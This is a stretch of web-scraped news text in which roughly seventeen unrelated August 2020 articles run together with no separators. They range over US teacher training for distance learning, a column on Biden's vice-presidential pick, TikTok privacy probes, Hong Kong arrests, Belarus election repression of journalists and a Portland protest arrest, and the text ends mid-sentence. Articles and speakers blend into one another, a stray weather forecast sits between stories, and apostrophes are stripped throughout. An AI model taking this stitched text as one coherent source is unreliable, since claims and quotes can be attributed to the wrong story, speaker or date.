The COVID-19 crisis caused public schools in the United States to shut their doors in March. But that did not mean the school year ended early. Instead, educators quickly developed, trained for and established emergency distance-teaching operations, many employing e-learning elements. Most school systems restarted operations within a few weeks and completed the year by late June. But the change to virtual learning settings was difficult for many teachers and produced mixed results for students across the country. Aimee Rodriguez Webb, a teacher in the state of Georgia, was among those who had a rough transition to online education. So, like many other teachers, she is working now to improve her e-teaching before the new school year opens in the fall. Rodriguez Webb bought camera equipment and a large new writing board. She set up a room in her house for broadcasting lessons. And, she recently started three weeks of training in online teaching along with other educators in the Cobb County School District. As COVID-19 continues to spread in the U.S., distance learning efforts are being included in a growing number of plans for the coming school year. Many school systems are facing pressure to improve after the educational losses of last school year. But investment in training is uneven across school systems. Some have offered new guidance on distance teaching. But many educators feel unsupported. Richard Ferdig is an education technology researcher at Kent State University in Ohio. He told the AP that wealthier areas have used the summer to train teachers both on technology and on how to get the best performance from students who are learning at least partly online. Teachers in those areas will do well, he said. But, he worries about teachers in poorer areas. Theyve either been given nothing or theyve been told, Heres the tools we bought for you, with very little support, on how to use them, he said. Linda Mullen is Communications Director for the Washington Education Association, a union of teachers in the northwestern state. It recently carried out an opinion study involving 1,500 of its members. Mullen said 79 percent of them said additional training is necessary if distance learning operations are required in the new school year. Another 23 percent reported they would need major career development or training. In New York, recent public opinion studies show that parents grew increasingly dissatisfied with distance learning as the school year progressed last spring. Dia Bryant is deputy director for The Education Trust-New York, which did the studies. We kind of just threw them out there and gave them a Zoom link or gave them a Google Hangout or a Google Classroom, she said of the states teachers. She added: We need better professional learning for them. Some school systems are ending summer break for teachers earlier than usual so they can get more training in distance learning. Cobb County, Georgia, is among them. Teacher Rodriguez Webb said the school system ordered teachers back to work two weeks earlier than in past years. A statement from Cobb County Schools says the administration will make sure teachers have the tools, resources, and training to help students succeed, no matter the classroom setting. Keisha Redd-Hannans is head of Instructional Leadership for New Haven Public Schools in Connecticut. She said officials know that teachers were not prepared for the sudden changes in education this spring. Early on, she said, no one knew how much work to give students or how long they should spend on computers. Redd-Hannans said the school system has agreed to pay a private company almost $270,000 for online training and support services. Some parents have asked for schools to reopen fully. They argue that distance learning cannot equal the quality of an in-school experience. Christina Higley, a mother of three in Webster, New York says education will suffer if teachers do their jobs online. She added, They can train them all that they want. They could give them the millions of dollars and tools ... for online learning. They could do six weeks of intense training. There is still going to be children who cant learn that way, and the teachers arent going to be able to change that no matter what they do from afar. Im Jonathan Evans. And Im Caty Weaver. Carolyn Thompson reported on this story for the Associated Press. Jonathan Evans adapted this story for Learning English. Caty Weaver was the editor. Quiz - Teachers Want to Improve Online Learning Skills, but Training Uneven Start the Quiz to find out Start Quiz ________________________________________________________________ Words in This Story virtual adj. existing or occurring on computers or on the Internet transition n. a change from one state or condition to another Political pledges often cause headaches. On election night in 1904, President Theodore Roosevelt told reporters, "Under no circumstances will I be a candidate for or accept another nomination." He regretted it almost immediately. Later, he would say, "I would be willing to cut off my hand if I could call back that statement." In 1988, accepting the Republican nomination for the presidency, George H. W. Bush pledged "no new taxes." Bush did wind up agreeing to raise taxes. It may have been the right governing choice, but because he had pledged in such memorable terms not to do it, he stirred a profound sense of betrayal among Republicans and encouraged cynicism about politicians in general. On March 15, Joe Biden pledged to choose a woman as his running mate. Now, that pledge is weighing him down. He has delayed the announcement of his choice by a week, suggesting that it is proving more difficult than expected. It's great to pick a woman for vice president, but less great if you've first pledged to do so. The pledge telegraphs that you were not looking for the best person, but the best woman. Biden could not know in March that the country would be convulsed by the death of George Floyd at the end of May and that pressure would build among Democrats for the ticket to include an African American. Absent that pledge, he could be considering Sen. Cory Booker, D-N.J., or former Gov. Deval Patrick of Massachusetts. Few Black women have the experience and stature to step into the presidency. Don't get me wrong. The paucity of African American women in top-tier political roles is the result of centuries of slavery and discrimination. But it is a fact nonetheless. There is only one African American woman United States senator. There are no governors. Any presidential candidate, and particularly one who will be 78 on inauguration day, needs to choose someone ready to step into the job at a moment's notice. That someone needs to have governing experience. She needs to have endured the pitiless spotlight of national politics. She needs to be broadly acceptable to swing voters. And she needs to be someone the president trusts completely. Among the women who meet the above tests, there are problems. Sen. Kamala Harris has been exposed to the scrutiny a campaign brings, but she forfeited some trust with Biden by aiming an insulting charge at him, suggesting that he allied with racists on busing decades ago. Susan Rice has a distinguished record of public service but has never run for anything. She is also, potentially, quite a lightning rod. She misled the country about what had happened in Benghazi, Libya, in 2012, and Trump partisans believe she was part of a conspiracy to damage the incoming Trump administration. The latter accusation against her is mostly rubbish but could cause a needless sideshow in the fall. Rep. Karen Bass heads the Congressional Black Caucus. People like and respect her, even Republicans. But some troubling statements and associations have surfaced. In 2010, she spoke at the opening of a huge Scientology Center in Los Angeles. Questioned about this, she tweeted that she had appeared there because the center was in her district -- which isn't much of an explanation. But that wasn't even true. She tweeted on Aug. 5 that she "regrets the error." Bass eulogized Oneil Marion Cannon as a "friend and mentor" in 2017 without mentioning that he was a long-time member of the Communist Party USA. As a young adult, she was a member of the Venceremos ("we shall triumph") Brigade, a pro-Castro group, and traveled to Cuba eight times in the 1970s. When Castro died, Bass released a statement of condolences to the Castro family and the Cuban people: "The passing of the Comandante en Jefe is a great loss to the people of Cuba." Look, Donald Trump has said equally appalling things about Kim Jong Un. The Republican Party that stands with Trump is hardly in a position to throw stones at Bass. And yet, we are told that part of what made Trump possible was the tendency on the right to look the other way about the extremists, kooks and unsavory elements within their own ranks. The same rule should apply to Democrats. Besides, choosing such a confirmed leftist would alarm the centrist voters Biden will need. Time for a closer look at Sen. Tammy Duckworth, D-Ill., and Rep. Val Demings. Duckworth's likability and story of heroism and sacrifice are powerful. Val Demings is a former police chief. The disadvantage is that there is no police department in which stories of wrongdoing will not surface. But the upsides are greater. Who better than an African American former cop to address questions of police brutality with sensitivity? And who can accuse the Democrats of being the party of "Defund the Police" with Val Demings on the ticket? Biden is about to become the Democratic nominee because he was perceived to be safe. He should choose someone just as safe for VP. Mona Charens syndicated column appears in the Tribune on Tuesdays. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 (Bloomberg) -- Frances privacy watchdog opened a probe into TikTok, marking another examination of ByteDance Ltd.s social media app, which is facing broader scrutiny of its privacy policies. The French authority, CNIL, is looking at a number of issues, including how the company communicates with users and the protection of children, a spokesman said Tuesday. The questions are part of an investigation into TikToks plan to set up a European Union headquarters for data purposes. The EUs data protection chiefs in June pledged to coordinate potential investigations into the Chinese company, establishing a taskforce to get a better understanding of TikToks processing and practices across the EU. The EU taskforce would also likely give the final decision on plans by the company to set up an EU base for data purposes in Ireland. This could mean that future probes would be led by the Irish data authority, which is already the lead privacy regulator for tech giants, including Google, Facebook Inc. and Twitter Inc. TikTok didnt immediately reply to a request for comment. CNIL also said Tuesday it had closed a separate probe based on a TikTok users complaint. CNIL said that for TikTok to set up a headquarters in Ireland, it would need to prove that its base there fulfills the necessary conditions under the blocs data protection rules. TikTok announced last week that it will set up its first data center in Europe with a 420 million-euro ($500 million) investment in Ireland. The Dutch data-protection commission said in May that it is looking into TikToks policies to protect childrens data and the Danish watchdog in June also announced a probe. The U.K.s Information Commissioners Office has been looking into TikTok since last year. TikTok is also under increasing pressure in the U.S. President Donald Trump said he would ban the app, best-known for lip-syncing videos, on the grounds that it jeopardizes national security. Microsoft Corp. is in talks to acquire the operations of TikTok in the U.S. Canada, Australia and New Zealand. Story continues The company has rejected claims that its controlled by the Chinese government or that user data is at risk. The 27-nation EU has some of the strictest data-protection laws in the world. The General Data Protection Regulation, or GDPR, gives EU authorities the power to fine companies as much as 4% of global annual sales for the most serious violations. (Updates with more detail on TikTok probes starting in second paragraph) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Champaign, IL (61820) Today Cloudy skies. Morning high of 38F with temps falling to near 20. Winds NW at 15 to 25 mph.. Tonight Considerable clouds this evening. Some decrease in clouds late. Low 8F. Winds NNW at 15 to 25 mph. As CEO, McKillican is responsible for leading McKesson's portfolio of businesses in Canada including pharmaceutical distribution operations, McKesson Canada Specialty Health, McKesson's network of independent pharmacies comprised of I.D.A., Guardian, Remedy'sRx, The Medicine Shoppe, Uniprix, and Proxim, e-commerce retailer Well.ca, and Rexall Pharmacy Group. "Rebecca's deep knowledge of retail will be a tremendous asset to McKesson," said Brian Tyler, CEO, McKesson Corporation. "This, together with her strong financial and operational background, positions her well to drive the company's strategic growth initiatives in Canada and continue delivering solutions centered on the customer across all our offerings." McKillican joined McKesson three years ago with the acquisition of Well.ca. As President of Well.ca, she grew the online health and wellness retailer to become recognized as Canada's Number 1 online retailer. McKillican's background also includes senior roles at New York City based Kohlberg, Kravis & Roberts (KKR), and strategy consulting with McKinsey & Company. "I'm tremendously excited about this opportunity," McKillican said. "McKesson Canada is uniquely positioned do drive meaningful value across the healthcare ecosystem while improving access to affordable healthcare. I'm honored to be in a position to lead our dynamic, values driven team in Canada dedicated to operational excellence, working with integrity and accountability and meeting our customers' needs." McKillican earned her MBA at the Harvard Business School where she was a Baker Scholar. She also holds an HBA, and a B.ESc in software engineering from Western University. Rebecca is a board member of the National Bank of Canada, and, in 2018, Rebecca was named one of Canada's Top 40 Under 40. "I would also like to express my sincere gratitude to Domenic for his many contributions to our company," said Tyler. "Having served almost two-decades with McKesson, Domenic has been a visionary leader and a driving force in building and executing a growth strategy for the Canadian business that delivers better patient care. Working collaboratively with governments and industry partners, Domenic's work has cemented McKesson's lasting impact on health care in Canada. His legacy is marked by the team of high-performing leaders he's helped recruit and develop; they share our commitment to improving care in every setting." About McKesson Canada Founded more than 100 years ago, McKesson Canada is dedicated to delivering vital medicines, supplies and information technologies that enable the health care industry to provide patients better, safer care. Our solutions empower pharmacies, manufacturers, hospitals and other health care institutions by enabling them to get closer to the millions of patients they serve every single day, while contributing to the quality and safety of care in Canada. For more information, please visit mckesson.ca. SOURCE MCKESSON CANADA For further information: Andrew Forgione, [email protected], 9056714586 Related Links www.mckesson.ca Police in Kasarani are investigating the death of a man who was reportedly killed by his wife in Marurui, Roysambu on Sunday. Confirming the incident, Kasarani OCPD Muthuri Mwongera said they arrested the 24-year-old woman who is alleged to have stabbed the deceased following a domestic wrangle. The police boss said the deceased, a 27-year-old only identified as Jimmy, had earlier in the year separated from his wife over a marital dispute before they made up and began living together again. However, over the weekend Jimmy reportedly threatened to move out after a dispute before he met his untimely death on Sunday night. According to reports, he died while being rushed to a nearby hospital by neighbours. Neighbours reported that the couple constantly fought especially when they consumed alcohol. Officers who visited the scene of the crime did not find a murder weapon. They said neighbors found the woman screaming with her husband lying on the floor. The murder suspect told detectives that her husband fell on a sharp object that tore through his collar bone. The suspect is being held at the Kasarani police pending her arraignment in court. When the Chinese Communist Party imposed a draconian and far-reaching national security law on Hong Kong last month, the perpetual optimists in the citys business community argued that Beijing would only target a few troublemakers and life would carry on as normal. They were wrong. Overnight, the CCP repurposed a city-centre hotel into a new secret police headquarters. And the Hong Kong authorities began wielding their new and untrammelled powers with relish. Hong Kong media tycoon Jimmy Lai, center, was perp-walked following his arrest on Monday. Credit:AP First, they started detaining democracy activists on catch-all charges of subversion, secession and colluding with foreign forces. Then, on Monday, they stepped up the crackdown, arresting tycoon Jimmy Lai, the owner of the popular pro-democracy Apply Daily newspaper, his two sons and several news executives. Hundreds of police then stormed the Apple Daily newsroom, while they perp-walked Lai through the building and rifled through reporters desks. The raid was not just an attack on media freedom, which the Hong Kong government disingenuously claims to uphold. It was also an attack on the freedom of a legitimate business to operate without government interference. Deputy Education Minister, Dr. Yaw Osei Adutwum has called on the West African Examination Council (WAEC) to adopt measures that will eradicate examination malpractices. Dr. Yaw Osei Adutwum said this while discussing the misbehaviour of some final year Senior High School (SHS) students who insulted President Nana Addo Dankwa Akufo-Addo because they couldn't write their exams. The schools involved in the act were Tweneboah Koduah SHS, Juaben SHS and Sekondi College. Following their uncouth behaviour, the Ghana Education Service (GES) has dismissed the students who disrespected the President together with some invigilators who were said to have misconducted themselves during the examination. The GES dismissed and barred the students named Nicholas Cobbinah, Kardimeil Suapim and John Kwofie, all of Sekondi College, Simon Ameyibor, Thomas Anokye and Juliet Amoakowaa all of Tweneboah Koduah and others from Juaben and Battor SHSs. The students who vandalized their school properties to register the displeasure have also been surcharged for the full cost of the damages. Addressing the issue on Peace FM's 'Kokrokoo', the Deputy Minister believed the students reacted in the manner they did because of their over-reliance on past questions that were given to guide them to write their examination. He advised the students to note that past questions are supposed to help them know the nature of questions they will face during the examinations, hence they should consider it a privilege should some of the past questions appear in their examinations. He also stated that the desire to cheat during exams is a major contributory factor to the laziness of the students to study and pass the examinations. In view of this, he appealed to the examination body to seal all loopholes that may create a situation for the school children to engage in examination malpractices. He said; ''Cheating in examination doesn't make the school children respect their teachers and the student becomes unserious to study because the person feels he or she will find something to rely on and pass the exam. And, in such cases, you'll see the student has passed and gone to the University but lacks adequate knowledge. The WAEC should put measures in place to check examination malpractices''. Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Frontline: Undocumented in the Pandemic (PBS at 10:30) The story of an immigrant familys struggle, with their dad detained by Immigration and Customs Enforcement in a facility where the virus is spreading. Emergency calls to Northern Ireland's Ambulance Service are regularly diverted to operators in Scotland, it can be revealed. Dozens of 999 incidents every month are now being answered outside the region. The number of calls rerouted to the Scottish Ambulance Service has risen by more than 80% year on year. In 2019 over 550 emergency incidents were answered in Scotland, according to figures obtained by this newspaper. DUP MLA Paul Givan said it was a "deeply worrying trend". He said sending calls outside the region could lead to delays and disruption. It comes as figures show many of the most urgent calls are not responded to inside the target eight-minute window, despite a new system brought in last autumn to tackle the problem. When someone dials 999 their call is initially answered by the Public Emergency Call Service operated by BT. The operator then attempts to connect the call to the Northern Ireland Ambulance Service's (NIAS) Emergency Ambulance Control. However, in some circumstances calls are routed to the Scottish Ambulance Service as part of a 'buddy' arrangement. These include where calls to the emergency control room exceeds its normal call handling capacity, or where an unplanned disruption to 999 call handling services occurs, through technical or other failures. NIAS said the 'buddy' arrangement ensures an appropriate route for 999 calls to be redirected. It said arrangements in place as standard across all UK ambulance services to ensure business continuity However, the number of calls being answered in Scotland has risen sharply. In the last five months of 2017, 29 calls were sent to Scottish operators. But by 2018 this had risen to 306, rising further to 558 last year. Last September alone 98 calls were answered in Scotland. The figures were released to this newspaper after a Freedom of Information request. Mr Givan, who has raised the issue with Health Minister Robin Swann, said the reasons for so many calls being sent outside Northern Ireland must be identified. He said: "These findings suggest a deeply worrying trend in the number of emergency calls from members of the public in need of medical assistance in Northern Ireland being rerouted to the Scottish Ambulance Service. "In 2019, 558 such cases took place compared to 306 the previous year, and only 29 in the last six months of 2018. "This demonstrates a stark and steady increase in contact lost between households and individuals in need of help locally and NIAS Emergency Ambulance Control. Rerouting these calls naturally increases the risk of delay and disruption in coordination of services. "Whilst we recognise the need for effective 'buddy' arrangements with services elsewhere in the UK to ensure interrupted service in unforeseen situations, this should not be normal course day and daily. "Reports of technical faults leading to calls being answered in Scotland extend as far back as 2015 and the root causes need to be identified and rectified." In recent weeks concerns have been raised over ambulance cover in the Newry, south Down and south Armagh regions. The Ambulance Service estimates it needs 335 additional staff to meet targets. Mr Givan added: "It is also vital that an evidence-based approach is adopted to staffing in the NIAS and ambulance control in particular in order to ensure appropriate capacity to meet service demand across Northern Ireland. "Covid-19 has already placed our dedicated ambulance crews and staff under additional operational pressure and they deserve to have every resource available to ensure they can carry out their roles in the most effective way. "It is imperative that the Minister of Health moves to address these concerns as a matter of urgency." NIAS said: "All UK services have buddying arrangements in place with neighbouring ambulances services. "This is considered best practice. "NIAS has a 'buddy system' with the Scottish Ambulance Service. This ensures continuity of service in the event of 'call surges' or interruption to the telephony network. This is a reciprocal arrangement and NIAS will take calls for Scotland. "When this happens the Scottish Ambulance Service takes the call and it is passed to NIAS's command and control system via an electronic gateway for an ambulance to be despatched." Source: Xinhua| 2020-08-12 04:22:38|Editor: huaxia Video Player Close BAGHDAD, Aug. 11 (Xinhua) -- Iraq on Tuesday condemned the deadly airstrike that killed two Iraqi officers and one soldier in the semi-autonomous region of Kurdistan in northern Iraq. "We condemn the blatant attack carried out by Turkey through a plane that targeted Sidekan area in the Kurdistan region," the media office of the Iraqi Presidency said in a statement. It called for an immediate end to such attacks, adding that the two sides should sit together for dialogue to solve the border problems by peaceful means and in a manner that preserves the security and stability of the region. Meanwhile, Tahsin al-Khafaji, spokesman of the Iraqi Joint Operations Command (JOC), said in a press release that "what happened today is a Turkish attack via a drone, which is a dangerous development." "The incident led to the killing of two senior officers, and there are other details that will be consulted with the brothers in the Kurdistan region to find out how the airstrike took place and what prompted the Turkish side to attack," al-Khafaji added. Earlier in the day, a JOC statement said that "a Turkish blatant attack targeted a military vehicle of border guards in the Sidekan area caused the death of the commander of the 2nd border guard brigade, commander of the brigade's 3rd regiment, and the driver." Turkish forces frequently carry out ground operations, airstrikes and artillery bombardments against the positions of the Kurdistan Workers' Party (PKK) militants in northern Iraq, especially the Qandil Mountains, the main PKK base. The PKK is listed as a terrorist organization by Turkey, the United States and the European Union. Enditem SCOTTSDALE, Ariz., Aug. 11, 2020 (GLOBE NEWSWIRE) -- Cerberus Cyber Sentinel Corporation (OTC: CISO), a cybersecurity consulting and managed services firm based in Scottsdale, Arizona, has acquired Technologyville , Inc., a Chicago-based managed security services provider (MSSP). Under the terms of the agreement, Technologyville is now a wholly owned subsidiary of Cerberus Sentinel and will continue to focus on providing managed IT services to a diverse set of U.S. customers. With the new organizational structure, Technologyville president and founder, Brian Yelm, will take on the role of managing director for Cerberus Sentinel. As businesses continue to rely more and more on technology, we have increasing responsibility, as IT people, to ensure the safety of their data and intellectual property, said Yelm. By joining with a national cyber security company with years of expertise, we can provide a more expansive end-to-end solution for our clients. Technologyville is an excellent fit for the Cerberus portfolio of companies, said David Jemmett, CEO and founder of Cerberus Sentinel. Technologyville offered us an attractive model for managed security and consulting services. Their customer-first culture and talented team are a valuable addition to the Cerberus team. Technologyville will continue to be based in Chicago and plans to grow operations in Arizona and the Southwest. The firm serves as an outsourced IT department for small and medium-sized companies that are looking for a competitive edge through the latest technology. Technologyville's executives and professionals collaborate with customers on making strategic IT decisions and handling day-to-day IT needs across core business systems, including Apple, Cisco, Google, Linux and Microsoft. Technologyville will enable us to continue national growth and differentiation in the marketplace and equip us with the expertise to expand our offerings in the cybersecurity field, Jemmett added. About Cerberus Sentinel Cerberus Sentinel is a U.S. provider of consulting and managed services, focused solely on cybersecurity. The company seeks to expand by acquiring world-class cybersecurity talent and utilizes the latest technology to create innovative solutions that protect the most demanding businesses and government organizations against continuing and emerging security threats. For more information, visit the company's website at www.cerberussentinel.com. Safe Harbor Statement This news release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. Statements including words such as "believes," "expects," "anticipates," "intends," "estimates," "plan," "will," "may," "look forward," "intend," "guidance," "future" or similar expressions are forward-looking statements. Because these statements reflect Cerberus Sentinel's current views, expectations and beliefs concerning future events, these forward-looking statements involve risks and uncertainties. Investors should note that many factors, as more fully described under the caption "Risk Factors" and elsewhere in Cerberus Sentinel's Form 10-K, Form 10-Q and Form 8-K filings with the Securities and Exchange Commission and as otherwise enumerated herein, could affect Cerberus Sentinel's future financial results and could cause actual results to differ materially from those expressed in such forward-looking statements. The forward-looking statements in this news release are qualified by these risk factors. These are factors that, individually or in the aggregate, could cause the Cerberus Sentinel's actual results to differ materially from expected and historical results. Readers should not place undue reliance on any forward-looking statements, which speak only as of the date they are made. Cerberus Sentinel assumes no obligation to publicly update any forward-looking statements, whether as a result of new information, future developments or otherwise. Contact: Charles J. Zigmund, Vice President Cerberus Sentinel 617-838-4183 charles.zigmund@cerberussentinel.com Cathy Morley Foster Eskenzi PR 925-708-7893 cathy@eskenzipr.com Australia Prime Minister, Scott Morrison has said the remote Northern Territory (NT) will keep its borders closed to coronavirus-affected states for at least another 18 months. Australia is battling a second wave in its south-east, with about 8,000 active cases in Melbourne and smaller clusters in Sydney. But elsewhere around the country, the virus has effectively been eliminated. BBC reports that Morrison has said interstate travel restrictions will likely persist until Christmas. Last week, Queensland re-closed its borders to New South Wales which includes Sydney and the Australian Capital Territory. Officials in the sparsely-populated NT, which hasnt had an infection since May, said an 18-month window barring visitors from virus hotspots was just a conservative forecast. People from those hotspots can still enter the territory but must complete a mandatory 14-day hotel quarantine at their own cost, which has been an effective deterrent. Chief Minister Michael Gunner said he was determined to prevent spread from the Victoria of which Melbourne is capital and New South Wales. Borders have been open to other states residents since 17 July. We have got an indefinite ban on Victoria, and Sydney keeps bubbling away to a point so I cant give you a date where that would ever lift, said Chief Minister Michael Gunner. Meanwhile, New South Wales reported 22 new cases on Tuesday its highest in months prompting officials to say the state was a on a knife edge with a new school cluster. Meanwhile Victoria reported 331 new cases and another 19 deaths equalling the record death toll reported on Monday which was Australias deadliest day of the pandemic so far. Melbourne has been under a second lockdown for about a month. The state has been the centre of the virus resurgence, but a recent drop in case numbers suggests the effect of a month-long lockdown and new restrictions were starting to curb the spread. Australia with around 22,000 cases and 332 deaths has still fared better than many countries overall due to effective suppression measures early in the pandemic. But since June when most Australians emerged from a first lockdown authorities have scrambled to contain the rampant outbreak in Melbourne. Infections there make up more than 70% of Australias total cases since the pandemic began. The outbreak is suspected to have begun with breaches in hotel quarantine of infected travellers returning from overseas. Source/BBC BAKU, Azerbaijan, Aug. 11 By Eldar Janashvili - Trend: The Social Development Fund for Internally Displaced Persons (IDPs) of Azerbaijan has announced an open tender to build a 50-seat kindergarten in a new residential complex with the necessary social and technical infrastructure for 200 families of IDPs in Samukh district. The tender will be held on one lot. The tender participation fee is 150 manat ($88.2). All those wishing to take part in the survey of proposals should send the necessary documents before 16:00 (GMT+4) on Aug. 28, 2020, and their proposals until 18:00 on Sept. 7, 2020. The packages with proposals will be opened at 16:00 on Sept. 8, 2020. Additional information can be obtained through: 57D Tbilisi Avenue, Nasimi district, Baku, Azerbaijan. Phone: (+994 12) 431 87 03 Contact: Aygun Huseynova (1 USD = 1.7 AZN on Aug. 11) --- Follow the author on Twitter: @eldarjanashvili KB Kookmin Card CEO Lee Dong-cheol, left, and Samsung Card CEO Kim Dae-hwan. / Courtesy of each company By Park Jae-hyuk Credit card issuers have fallen unexpected victims to the collapse of the Eastar Jet takeover deal, as they are unlikely to get around 10 billion won ($8.4 million) back from the cash-strapped low-cost carrier, according to industry officials, Tuesday. After a massive cancellation of flights due to the COVID-19 pandemic, card firms have refunded customers whose flights were cancelled, on behalf of liquidity-crunched airlines which had asked card firms in March to allow a grace period. Back then, officials discussed the matter at the Credit Finance Association headquarters in Seoul. Other air carriers, including full-service carriers like Korean Air and Asiana Airlines, have repaid card firms since April, but Eastar Jet could not do this due to its severe financial difficulties. Card firms had therefore sought to receive payment later from Jeju Air which signed a deal with Eastar Holdings in March to acquire a controlling 51.17 percent stake in Eastar Jet for 54.5 billion won. However, Jeju Air abandoned its acquisition of Eastar Jet last month, citing growing uncertainties in the aviation industry caused by the prolonged COVID-19 pandemic. If card firms fail to get their money back, they will face worsening profits during the latter half of the year. Although they reported surprise earnings in the first half thanks to the emergency disaster relief funds the government gave to citizens, the companies' performances are expected to deteriorate in the second half because a six-month grace period granted to their customers facing difficulties from COVID-19 will end next month. To minimize losses, the companies have begun taking legal action. According to industry officials, Shinhan, KB Kookmin and Samsung cards asked the court late last month to order Eastar Jet to pay its debts. Lotte Card did the same in June. Woori Card demanded Eastar Jet settle its overdue company card payments in May. Hyundai and Hana cards have maintained wait-and-see attitudes. Sources said KB Kookmin and Samsung each should receive 2 billion won from the low-cost carrier while Hyundai should receive 1.3 billion won, Shinhan 800 million won, Lotte 500 million won and Hana 400 million won. Card firms admitted they did not expect to get their money back in such a short time. But they took legal action to verify their rights to creditors when Eastar Jet goes into liquidation. They are also considering writing off the bad debts. Eastar Jet's debts are estimated at around 170 billion won. This includes delayed payments for fuel and the use of airport facilities, as well as unpaid wages that total about 26 billion won. The budget carrier, which has halted its international flights since March 9, has not resumed domestic flights since March 24, in contrast to other airlines that have increased domestic flights. TDT | Manama His Royal Highness the Prime Minister Prince Khalifa bin Salman Al Khalifa held a telephone call with Sultan Haitham bin Tariq Al Said of Oman. The Sultan and HRH the Premier discussed cooperation and ways to enhance them in various fields. Sultan Haitham expressed his deep pride and appreciation for the relations between Oman and the Kingdom, and wished Bahrain and its people further prosperity under the leadership of His Majesty King Hamad bin Isa Al Khalifa. He also wished HRH the Premier abundant health and happiness. HRH the Prime Minister expressed his appreciation to the Sultan for his keenness to promote relations between the two countries, wishing him good health and happiness and Oman continued progress and prosperity. In May, authorities in Belarus arrested Sergei Tikhanovsky, a popular YouTuber who used his videos to shine a light on living conditions in the former Soviet country thats often been called Europes last dictatorship. Tikhanovsky had signaled his intention to challenge Alexander Lukashenko, Europes last dictator, in an upcoming presidential election. Supporters of Tikhanovsky took to the streets; some brandished slippers in reference to a video in which one of Tikhanovskys interlocutors likened Lukashenko to a cockroach. With Tikhanovsky in jail, his wife, Svetlana Tikhanovskaya, decided to run in his place. Tikhanovsky wasnt the only opposition candidate that officials barred from the ballot, but they allowed Tikhanovskaya to compete, seemingly as a sexist joke. (In May, Lukashenko said during a campaign stop that a woman president would collapse, poor thing.) The joke backfired; Tikhanovskayas campaign quickly gained momentum. In late July, she addressed the biggest political rally in Belarusian history. I dont need power, she said. But my husband is behind bars. I had to hide my children. Im sick of putting up with it. The election was held on Sunday. Officials swiftly announced that Lukashenko had won with 80 percent of the vote. (At least one US headline uncritically parroted that pronouncement, and Twitter objected.) Protesters poured into the streets of Minsk, the capital of Belarus, and other cities nationwide to decry electoral fraud, and Tikhanovskaya refused to accept the result. Then, yesterday, she disappeared. Concern for her safetyexacerbated by Belaruss long history of disappearing dissidentsspread among foreign officials and reporters online; Christopher Miller, who covers Eastern Europe for BuzzFeed, reported that even Tikhanovskayas staff didnt know where she was. Earlier today, it emerged that Tikhanovskaya had arrived safely in Lithuania, a neighboring democracy. She said shed fled Belarus of her own accord. ICYMI: MSNBC public editor: A strained symbiosis with Obama Last night, protests against the election result continued. So far, Belarusian law enforcement have met demonstrators with violence, including the use of tear gas and rubber bullets; according to Abdujalil Abdurasulov, of the BBC, officers hauled some of them into vans and beat them. At least one protester has died. The Lukashenko regime hasnt just engaged in physical repression; it also appears to have crippled Belaruss communications infrastructure, blocking the internet, cellphone signals, and even landlines and VPNs, which are commonly used to circumvent web blockages. Speaking yesterday, Lukashenko blamed the outages on distributed denial of service attacks originating from abroad, but theres currently little reason to trust that explanation. The truth of whats going on in Belarus isnt really knowable right now, Alp Toker, director of NetBlocks, a group that tracks internet outages globally, told Wired. But theres no indication of a DDoS attack. It cant be ruled out, but theres no external sign of it that we see. Inevitably, journalists have been affected by all this. Belarus has long had a dire information climatelast year, the Committee to Protect Journalists rated it the ninth-most censored country on earth; this year, Reporters Without Borders ranked it 153rd out of 180 countries on its World Press Freedom Indexbut things seem to have gotten worse in the runup to the election. Between May and the end of July, Belarusian authorities arrested more than 40 journalists; meanwhile, Lukashenko personally accused the BBC and Radio Free Europe/Radio Liberty, an editorially-independent broadcaster that is funded by the US government, of fomenting unrest, and said they should be kicked out of the country. In the days leading up to the vote, officials detained three reporters with Current Time, an RFE/RL service; journalists from TV Rain, an independent Russian outlet; and Alexander Burakov, a correspondent with the German broadcaster Deutsche Welle. Burakov spent his birthday in jail. On Sunday night, as protests against Lukashenkos victory declaration flared, at least four Russian journalists were jailed in Minsk. One of them, Maxim Solopov, a reporter with the independent outlet Meduza, has not been heard from since. Earlier today, in a post headlined Gone without a trace, Solopovs colleagues laid out his last known movements. Meduza telephoned every police station, detention center, and hospital in Minsk, as well as various Belarusian officials and the foreign ministries of Russia and Latvia, Solopovs colleagues wrote. Despite these efforts, after more than 24 hours, we know virtually nothing about what happened. A witness said that police beat Solopov during his arrest. According to CPJ, Mstyslav Chernov, a photographer with the AP, and Anton Starikov and Dimitri Lasenko, of the Russian site Daily Storm, were also beaten on Sunday. Yesterday, officers shot Nataliya Lyubneuskaya, of the independent news site Nasha Niva, with a rubber bullet. Sign up for CJR 's daily email There are parallels between the threats to reporters in Belarus and the way US law enforcement officers have targeted journalists covering the recent protests in Minnesota, New York, Oregon, and elsewhere. Since President Trump took office, media watchers have often remarked that his abuse of the press has emboldened the worlds autocrats to behave likewise. That view, while sometimes correct, has often been ahistorical; Trump didnt invent threats to the US media, and Lukashenko and his ilk have never needed emboldening. Instead, its more useful to view the present domestic threats as a wake-up call. Belarus, of course, is far less free than the US. Still, the global press-freedom fight is, in many ways, one fight, from Minneapolis to Minsk, and it merits sustained attentionregardless of who the US president is, and beyond individual flashpoints like stolen elections. If democracy dies in darkness, authoritarianism thrives in it. Below, more on Belarus and global press freedom: Other notable stories: ICYMI: Stop calling racist rhetoric a dog whistle Has America ever needed a media watchdog more than now? Help us by joining CJR today Jon Allsop is a freelance journalist whose work has appeared in the New York Review of Books, Foreign Policy, and The Nation, among other outlets. He writes CJRs newsletter The Media Today. Find him on Twitter @Jon_Allsop. Hester was assaulted by a white supremacist three years ago and now leads moms in racial justice protests each night. One of the protesters arrested in Portland, Oregon, early Monday is a Black woman who was assaulted by a white supremacist in a high-profile case three years ago and who now leads a group of moms in racial justice protests each night. Demetria Hester, 46, was booked on suspicion of disorderly conduct and interfering with a police officer during a protest that began Sunday night and stretched into the early morning hours. Hester did not immediately return an Associated Press call or text message seeking comment. It was not immediately clear if she was still in custody. Hester gained prominence in 2017 when she was assaulted by a white supremacist while riding a light-rail train. The man who attacked Hester, Jeremy Christian, stabbed two men to death the following night and critically injured a third man when they came to the defence of two Black woman one of them wearing a Muslim head-covering who were being harassed 